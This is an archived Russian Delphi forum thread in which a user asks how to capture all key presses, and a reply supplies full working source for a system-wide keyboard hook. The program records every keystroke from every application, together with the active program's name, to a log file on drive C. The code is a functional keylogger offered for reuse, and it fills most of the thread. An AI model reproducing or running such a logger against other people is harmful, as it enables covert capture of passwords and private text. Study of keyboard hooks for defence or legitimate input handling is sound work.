Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2006.03.26;
Скачать: CL | DM;

Вниз

Hook клавиатуры   Найти похожие ветки 

 
Человек   (2006-01-02 17:13) [0]

С наступившим!
Возник вопрос, как сделать перехват всех нажатых клавиш, включая shift,alt,tab итд?
Заранее спасибо


 
kami ©   (2006-01-02 18:16) [1]

с помощью WH_KEYBOARD ?


 
kami ©   (2006-01-02 18:35) [2]

Рабочий пример, корректно определяющий нажатия клавиш в русской раскладке (как-то спрашивал про это на форуме, в итоге - сделал сам :-) )

type
  KBDLLHOOKSTRUCT=packed record
    vkCode:DWORD;
    scanCode:DWORD;
    flags:DWORD;
    time:DWORD;
    dwExtraInfo:pointer;
  end;

 TForm1 = class(TForm)
   Button1: TButton;
   Button2: TButton;
   Memo1: TMemo;
   procedure Button1Click(Sender: TObject);
   procedure Button2Click(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

function KeyboardProc(code:integer;W:WParam;L:LParam):LResult;stdcall;
function GetModuleBaseName(hProcess:THANDLE;hModule:HMODULE;lpBaseName:LPTSTR;nSize:DWORD):DWORD; stdcall;external "Psapi.dll" name "GetModuleBaseNameA" ;

var
 Form1: TForm1;
 MyHook:HHook;
 KeyFile:TFileStream;
 CurrentFileName:string="";
 LeftCorner:Char="[";
 RightCorner:Char="]";
 Ret:array [0..1] of char=(#13,#10);
const
 WH_KEYBOARD_LL=13;
implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject); // установка хука
begin
 KeyFile:=TFileStream.Create("c:\KeyLog.txt",fmCreate);
 MyHook:=SetWindowsHookEx(WH_KEYBOARD_LL,@KeyboardProc,hInstance,0);
 if MyHook=0 then
   ShowMessage("Error : "+IntToStr(GetLastError));
end;

procedure TForm1.Button2Click(Sender: TObject);// удаление хука
begin
 UnhookWindowsHookEx(MyHook);
 KeyFile.Free;
end;

function KeyboardProc(code: integer; W: WParam; L: LParam): LResult;
var
 kbd:KBDLLHOOKSTRUCT;
 keyState:TKeyboardState;
 Ch: packed array[0..1] of char;
 RetChars:integer;
 ProcessID:DWORD;
 ProcessHandle:THandle;
 pFileName:PChar;
 FileNameSize:uInt;
 WindowHWND:HWND;
begin
 if code<0 then
   begin  //if code is <0 your keyboard hook should always run CallNextHookEx instantly and
     Result:=CallNextHookEx(MyHook,code,W,L); //then return the value from it.
     Exit;
   end;
 if (W=WM_KEYUP) then // анализируем по отпусканию клавиши
   begin
     kbd:=KBDLLHOOKSTRUCT(Pointer(L)^);
     GetKeyboardState(KeyState);
     KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);  // НЕ УДАЛЯТЬ!!!
       // GetKeyboardState почему-то не определяет нажатия шифтов, посему
       // для качественного распознавания определим их нажатие сами.

     // начинаем определение программы, в которой была нажата клавиша
     WindowHWND:=GetForegroundWindow;
     ProcessID:=1;// без узнавания активного потока почему-то не работает
     RetChars:=ToASCIIEx(
       kbd.vkCode,
       kbd.scanCode,
       keyState,
       Ch,
       0,
       GetKeyboardLayout(GetWindowThreadProcessId(WindowHWND,@ProcessID)));
     // в Ch - нажатые символы
     // kbd - не изменялся
     // если нужны "непечатаемые" символы, то анализировать vkCode (см Virtual Key Code)

     // определяем имя файла, с которым работает пользователь.
     ProcessHandle:=OpenProcess(
       PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,
       false,
       ProcessID);
     GetMem(pFileName,MAX_PATH+1);
     FileNameSize:=GetModuleBaseName(ProcessHandle,0,pFileName,MAX_PATH);
     CloseHandle(ProcessHandle);

     // записываем в лог нажатую клавишу
     if FileNameSize<>0 then
       begin
         if CurrentFileName<>pFileName then
           begin
             CurrentFileName:=pFileName;
             KeyFile.Write(ret[0],2);
             KeyFile.Write(LeftCorner,1);
             if CurrentFileName<>"" then
               KeyFile.Write(CurrentFileName[1],FileNameSize);
             KeyFile.Write(RightCorner,1);
             KeyFile.Write(ret[0],2);
           end;
         if RetChars>0 then
           case kbd.vkCode of
             VK_RETURN:
               KeyFile.Write(ret[0],2);
           else
             KeyFile.WriteBuffer(Ch[0],RetChars);
           end;
       end;
     FreeMem(pFileName);
   end;
 Result:=CallNextHookEx(MyHook,code,W,L);  //call the next hook proc if there is one
end;


 
Leonid Troyanovsky ©   (2006-01-03 16:15) [3]


> Человек   (02.01.06 17:13)  

> Возник вопрос, как сделать перехват всех нажатых клавиш,
>  включая shift,alt,tab итд?


WH_KEYBOARD_LL

--
Regards, LVT.



Страницы: 1 вся ветка

Текущий архив: 2006.03.26;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.112 c
2-1141805488
~shaman~
2006-03-08 11:11
2006.03.26
2D графика


2-1141881603
xroot
2006-03-09 08:20
2006.03.26
Таблица в отчет


5-1127479324
Priest
2005-09-23 16:42
2006.03.26
Сделать недоступным пункт меню редактора компонента


2-1142195886
kilop
2006-03-12 23:38
2006.03.26
Как приостановить процесс работы проги?


2-1142240102
gidd
2006-03-13 11:55
2006.03.26
получени почты